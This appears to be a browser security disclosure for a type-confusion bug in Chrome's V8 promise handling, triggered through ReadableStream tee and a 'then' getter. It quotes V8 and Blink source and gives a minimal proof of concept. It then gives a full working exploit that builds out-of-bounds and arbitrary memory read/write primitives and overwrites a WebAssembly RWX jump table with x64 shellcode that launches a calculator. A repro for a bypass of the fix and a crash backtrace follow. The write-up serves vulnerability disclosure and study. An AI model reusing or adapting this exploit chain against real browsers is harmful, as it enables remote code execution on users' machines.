<!--
VULNERABILITY DETAILS
==1. TriggerPromiseReactions==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5975
Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate,
Handle<Object> reactions,
Handle<Object> argument,
PromiseReaction::Type type) {
DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction());
// We need to reverse the {reactions} here, since we record them
// on the JSPromise in the reverse order.
{
DisallowHeapAllocation no_gc;
Object current = *reactions;
Object reversed = Smi::kZero;
while (!current->IsSmi()) {
Object next = PromiseReaction::cast(current)->next(); // ***1***
PromiseReaction::cast(current)->set_next(reversed);
reversed = current;
current = next;
}
reactions = handle(reversed, isolate);
}
[...]
A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a
typecast on the |reactions| argument without prior checks[1]. Upon further
inspection, it turned out that the JSPromise class reuses a single field to
store both the result object and the reaction list (chained callbacks).
Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the
promise is still in the "pending" state, instead they rely on the default
|resolve/reject| callbacks that are exposed to user JS code and use the
|PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether
the promise has been resolved yet. So, it's enough to call, for example,
|JSPromise::Fulfill| twice on the same Promise object to trigger the type
confusion.
==2. Thenable objects and JSPromise::Resolve==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5902
MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise,
Handle<Object> resolution) {
[...]
// 8. Let then be Get(resolution, "then").
MaybeHandle<Object> then;
if (isolate->IsPromiseThenLookupChainIntact(
Handle<JSReceiver>::cast(resolution))) {
// We can skip the "then" lookup on {resolution} if its [[Prototype]]
// is the (initial) Promise.prototype and the Promise#then protector
// is intact, as that guards the lookup path for the "then" property
// on JSPromise instances which have the (initial) %PromisePrototype%.
then = isolate->promise_then();
} else {
then =
JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution),
isolate->factory()->then_string()); // ***2***
[...]
This is a known behavior, and yet it has already caused some problems in the
past (see https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10).
When the promise resolution is an object that has the |then| property, |Resolve|
synchronously accesses that property and might invoke a user-defined getter[2],
which means it's possible to run user JavaScript while the promise is in the
middle of the resolution process. However, just calling the |resolve| callback
inside the getter is not enough to trigger the type confusion because of the
|kAlreadyResolvedSlot| check. Instead, one should look for places where
|JSPromise::Resolve| is called directly.
==3. V8 extras and ReadableStream==
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=d67a775151929f516380749eae3b32f514eade11&l=425
function ReadableStreamTee(stream) {
const reader = AcquireReadableStreamDefaultReader(stream);
let closedOrErrored = false;
let canceled1 = false;
let canceled2 = false;
let reason1;
let reason2;
const cancelPromise = v8.createPromise();
function pullAlgorithm() {
return thenPromise(
ReadableStreamDefaultReaderRead(reader), ({value, done}) => {
if (done && !closedOrErrored) {
if (!canceled1) {
ReadableStreamDefaultControllerClose(branch1controller); // ***3***
}
if (!canceled2) {
ReadableStreamDefaultControllerClose(branch2controller);
}
closedOrErrored = true;
}
[...]
function cancel1Algorithm(reason) {
canceled1 = true; // ***4***
reason1 = reason;
if (canceled2) {
const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]);
resolvePromise(cancelPromise, cancelResult);
}
return cancelPromise;
}
[...]
function ReadableStreamCancel(stream, reason) {
stream[_readableStreamBits] |= DISTURBED;
const state = ReadableStreamGetState(stream);
if (state === STATE_CLOSED) {
return Promise_resolve(undefined);
}
if (state === STATE_ERRORED) {
return Promise_reject(stream[_storedError]);
}
ReadableStreamClose(stream);
const sourceCancelPromise =
ReadableStreamDefaultControllerCancel(stream[_controller], reason);
return thenPromise(sourceCancelPromise, () => undefined);
}
function ReadableStreamClose(stream) {
ReadableStreamSetState(stream, STATE_CLOSED);
const reader = stream[_reader];
if (reader === undefined) {
return;
}
if (IsReadableStreamDefaultReader(reader) === true) {
reader[_readRequests].forEach(
request =>
resolvePromise(
request.promise,
ReadableStreamCreateReadResult(undefined, true,
request.forAuthorCode)));
reader[_readRequests] = new binding.SimpleQueue();
}
resolvePromise(reader[_closedPromise], undefined);
}
A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a
set of JavaScript classes with a couple of internal v8 methods exposed to them.
The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just
call |JSPromise::Resolve/Reject| and don't check the status of the promise
passed as an argument. Instead, the JS code around them defines a bunch of
boolean variables to track the stream's state. Unfortunately, there's a scenario
in which the state checks could be bypassed:
1. Create a new ReadableStream with an underlying source object that exposes the
stream controller's |stop| method.
2. Call the |tee| method to create a pair of child streams.
3. Make a read request for one of the child streams thus putting a new Promise
object to the |_readRequests| queue.
4. Define a getter for the |then| property on Object.prototype. From this point
every promise resolution where the resolution object inherits from
Object.prototype will call the getter.
5. Call |cancel| on the child stream. The call stack will eventually look like:
ReadableStreamCancel -> ReadableStreamClose -> resolvePromise ->
JSPromise::Resolve -> the |then| getter.
6. Inside the getter, calling regular methods on the child stream won't work
because its state is already set to "closed", but an attacker can call the
controller's |stop| method. Because |ReadableStreamClose| is executed before the
cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method
will be called again[3] resolving the promise that is currently in the middle
of the resolution process.
The only problem here is the code [3] gets executed as another promise's
reaction, i.e. as a microtask, and microtasks are supposed to be executed
asynchronously.
==4. MicrotasksScope==
V8 exposes the MicrotasksScope class to Blink to control microtask execution.
MicrotasksScope's destructor will run all scheduled microtasks synchronously, if
the object that's being destructed is the top-level MicrotasksScope. Therefore,
calling a Blink method that instantiates a MicrotasksScope should allow running
the scheduled promise reaction[3] synchronously. However, usually all JS code
(<script> body, event handlers, timeouts) already runs inside a MicrotasksScope.
One way to overcome this is to define the JS code as the |handleEvent| property
getter of an EventListener object and add the listener to, e.g., the |load|
event.
Putting it all together, the PoC is as follows:
<body>
<script>
performMicrotaskCheckpoint = () => {
document.createNodeIterator(document, -1, {
acceptNode() {
return NodeFilter.FILTER_ACCEPT;
} }).nextNode();
}
runOutsideMicrotasksScope = func => {
window.addEventListener("load", { get handleEvent() {
func();
} });
}
runOutsideMicrotasksScope (() => {
let stream = new ReadableStream({ start(ctr) { controller = ctr } });
let tee_streams = stream.tee();
let reader = tee_streams[0].getReader();
reader.read();
let then_counter = 0;
Object.prototype.__defineGetter__("then", function() {
if (++then_counter == 1) {
controller.close();
performMicrotaskCheckpoint();
}
});
reader.cancel();
});
</script>
</body>
==5. Exploitation==
The bug allows an attacker to make the browser treat the object of their choice
as a PromiseReaction. If the second qword of the object contains a value that
looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a
pointer to another PromiseReaction in the reaction chain and try to reverse the
chain. This primitive is not very useful without a separate info leak bug. If
the second qword looks like a Smi, the method will overwrite the first, third
and fourth qwords with tagged pointers. So, if the attacker allocates a
HeapNumber and a FixedDobuleArray that are adjacent to each other, and the
umber's value has its LSB set to 0, the function will overwrite the array's
length with a pointer that looks like a sufficiently large Smi. The array's map
pointer will also get corrupted, but that's not important (at least, for release
builds).
-----------------------------------------------------------------
| HeapNumber || FixedDoubleArray |
-----------------------------------------------------------------
| Map | Value || Map | Length | Element 0 | ... |
-----------------------------------------------------------------
Once the attacker has the relative read/write primitive, it's easy to construct
the pointer leak and arbitrary read/write primitives by finding the offsets of a
couple other objects allocated next to the array. Finally, to execute the
shellcode the exploit overwrites the jump table of a WebAssembly function, which
is stored in a RWX memory page.
Exploit (the shellcode runs gnome-calculator on linux x64):
-->
<body>
<script>
performMicrotaskCheckpoint = () => {
document.createNodeIterator(document, -1, {
acceptNode() {
return NodeFilter.FILTER_ACCEPT;
} }).nextNode();
}
runOutsideMicrotasksScope = func => {
window.addEventListener("load", { get handleEvent() {
func();
} });
}
let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
data_view.setUint32(0, dword, true);
return data_view.getUint32(0, false);
}
reverseQword = qword => {
data_view.setBigUint64(0, qword, true);
return data_view.getBigUint64(0, false);
}
floatAsQword = float => {
data_view.setFloat64(0, float);
return data_view.getBigUint64(0);
}
qwordAsFloat = qword => {
data_view.setBigUint64(0, qword);
return data_view.getFloat64(0);
}
let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
const MARKER = 0x31337;
leakPtr = obj => {
ptr_leak_object[0] = obj;
return floatAsQword(oob_access_array[ptr_leak_index]);
}
getQword = address => {
oob_access_array[external_ptr_index] = qwordAsFloat(address);
return arbirary_access_array[0];
}
setQword = (address, value) => {
oob_access_array[external_ptr_index] = qwordAsFloat(address);
arbirary_access_array[0] = value;
}
getField = (object_ptr, num, tagged = true) =>
object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));
setBytes = (address, array) => {
for (let i = 0; i < array.length; ++i) {
setQword(address + BigInt(i), BigInt(array[i]));
}
}
// ------------------------- \\
runOutsideMicrotasksScope (() => {
oob_access_array = Array(16).fill(1.1);
ptr_leak_object = {};
arbirary_access_array = new BigUint64Array(1);
oob_access_array.length = 0;
const heap_number_to_corrupt = qwordAsFloat(0x10101010n);
oob_access_array[0] = 1.1;
ptr_leak_object[0] = MARKER;
arbirary_access_array.buffer;
let stream = new ReadableStream({ start(ctr) { controller = ctr } });
let tee_streams = stream.tee();
let reader = tee_streams[0].getReader();
reader.read();
reader.read();
let then_counter = 0;
Object.prototype.__defineGetter__("then", function() {
let counter_value = ++then_counter;
if (counter_value == 1) {
controller.close();
performMicrotaskCheckpoint();
throw 0x123;
} else if (counter_value == 2) {
throw heap_number_to_corrupt;
} else if (counter_value == 4) {
oob_access_array.length = 60;
findOffsets();
runCalc();
}
});
reader.cancel();
});
findOffsets = () => {
let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
++ptr_leak_index) {
if (oob_access_array[ptr_leak_index] === markerAsFloat) {
break;
}
}
let oneAsFloat = qwordAsFloat(1n << 32n);
for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
++external_ptr_index) {
if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
oob_access_array[external_ptr_index - 1] === 0) {
break;
}
}
if (ptr_leak_index === oob_access_array.length ||
external_ptr_index === oob_access_array.length) {
throw "Couldn't find the offsets";
}
}
runCalc = () => {
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
const shellcode = [
0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
];
wasm_instance_ptr = leakPtr(wasm_instance);
const jump_table = getQword(getField(wasm_instance_ptr, 32));
setBytes(jump_table, shellcode);
wasm_func();
}
</script>
</body>
<!--
VERSION
Google Chrome 72.0.3626.96 (Official Build) (64-bit)
Google Chrome 74.0.3702.0 (Official Build) dev (64-bit)
The Chrome team has landed a fix for the issue, but there's a way to bypass it.
From Chromium's bug tracker:
Sadly, there's still a way to bypass the latest fix. The fix prevents multiple resolution when all
the calls come from the |v8.resolvePromise| or |v8.rejectPromise| method exposed to v8 extras.
However, |ReadableStreamReaderGenericRelease| might use the regular |Promise.reject| method to
create an initially rejected promise and store it in |reader[_closedPromise]|:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=722
function ReadableStreamReaderGenericRelease(reader) {
// TODO(yhirano): Remove this when we don't need hasPendingActivity in
// blink::UnderlyingSourceBase.
const controller = reader[_ownerReadableStream][_controller];
if (controller[_readableStreamDefaultControllerBits] &
BLINK_LOCK_NOTIFICATIONS) {
// The stream is created with an external controller (i.e. made in
// Blink).
const lockNotifyTarget = controller[_lockNotifyTarget];
callFunction(lockNotifyTarget.notifyLockReleased, lockNotifyTarget);
}
if (ReadableStreamGetState(reader[_ownerReadableStream]) ===
STATE_READABLE) {
rejectPromise(
reader[_closedPromise],
new TypeError(errReleasedReaderClosedPromise));
} else {
reader[_closedPromise] =
Promise_reject(new TypeError(errReleasedReaderClosedPromise)); // ********
}
Then, |ReadableStreamClose| might try to resolve it:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=541
function ReadableStreamClose(stream) {
ReadableStreamSetState(stream, STATE_CLOSED);
const reader = stream[_reader];
if (reader === undefined) {
return;
}
if (IsReadableStreamDefaultReader(reader) === true) {
reader[_readRequests].forEach(
request =>
resolvePromise(
request.promise,
ReadableStreamCreateReadResult(undefined, true,
request.forAuthorCode)));
reader[_readRequests] = new binding.SimpleQueue();
}
resolvePromise(reader[_closedPromise], undefined); // ********
}
It's not possible to call |ReadableStreamReaderGenericRelease| until the
|reader[_readRequests]| queue is empty, so an attacker has to call the |close| method twice as in
the original repro case. The call succeeds because |resolvePromise| acts a silent no-op.
Since the promise is already rejected when it's passed to |v8.resolvePromise|, the code hits the
assertion added to |PromiseInternalResolve| in the previous patch. It turns out that there's a
JSCallReducer optimization for |v8.resolvePromise| that doesn't generate the same assertion,
so the attacker can trigger optimization of |ReadableStreamCancel| to bypass the check:
https://cs.chromium.org/chromium/src/v8/src/compiler/js-call-reducer.cc?rcl=fee9be7abb565fc2f2ae7c20e7597bece4fc7144&l=5727
Reduction JSCallReducer::ReducePromiseInternalResolve(Node* node) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
Node* promise = node->op()->ValueInputCount() >= 2
? NodeProperties::GetValueInput(node, 2)
: jsgraph()->UndefinedConstant();
Node* resolution = node->op()->ValueInputCount() >= 3
? NodeProperties::GetValueInput(node, 3)
: jsgraph()->UndefinedConstant();
Node* frame_state = NodeProperties::GetFrameStateInput(node);
Node* context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
// Resolve the {promise} using the given {resolution}.
Node* value = effect =
graph()->NewNode(javascript()->ResolvePromise(), promise, resolution,
context, frame_state, effect, control);
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
Repro:
<body>
<script>
performMicrotaskCheckpoint = () => {
document.createNodeIterator(document, -1, {
acceptNode() {
return NodeFilter.FILTER_ACCEPT;
} }).nextNode();
}
runOutsideMicrotasksScope = func => {
window.addEventListener("load", { get handleEvent() {
func();
} });
}
for (let i = 0; i < 100000; ++i) {
let stream = new ReadableStream();
let reader = stream.getReader();
reader.cancel();
}
runOutsideMicrotasksScope (() => {
let stream = new ReadableStream({ start(ctr) { controller = ctr } });
let tee_streams = stream.tee();
let reader = tee_streams[0].getReader();
reader.read();
let then_counter = 0;
Object.prototype.__defineGetter__("then", function() {
if (++then_counter == 1) {
controller.close();
performMicrotaskCheckpoint();
reader.releaseLock();
}
});
reader.cancel();
});
</script>
</body>
(lldb) bt
* thread #1, name = 'chrome', stop reason = signal SIGSEGV: address access protected (fault address: 0x30fd824804e8)
* frame #0: 0x0000555cf8057317 chrome`Builtins_RejectPromise + 55
frame #1: 0x0000555cf801f7cc chrome`Builtins_RunMicrotasks + 556
frame #2: 0x0000555cf7fff598 chrome`Builtins_JSRunMicrotasksEntry + 120
frame #3: 0x0000555cf7b3e405 chrome`v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 549
frame #4: 0x0000555cf7b3e895 chrome`v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 101
frame #5: 0x0000555cf7b3e9fa chrome`v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*, v8::internal::MaybeHandle<v8::internal::Object>*) + 74
frame #6: 0x0000555cf7c8042b chrome`v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) + 427
frame #7: 0x0000555cfb5c13ba chrome`blink::Microtask::PerformCheckpoint(v8::Isolate*) + 58
frame #8: 0x0000555cfc5cc301 chrome`blink::(anonymous namespace)::EndOfTaskRunner::DidProcessTask(base::PendingTask const&) + 17
-->
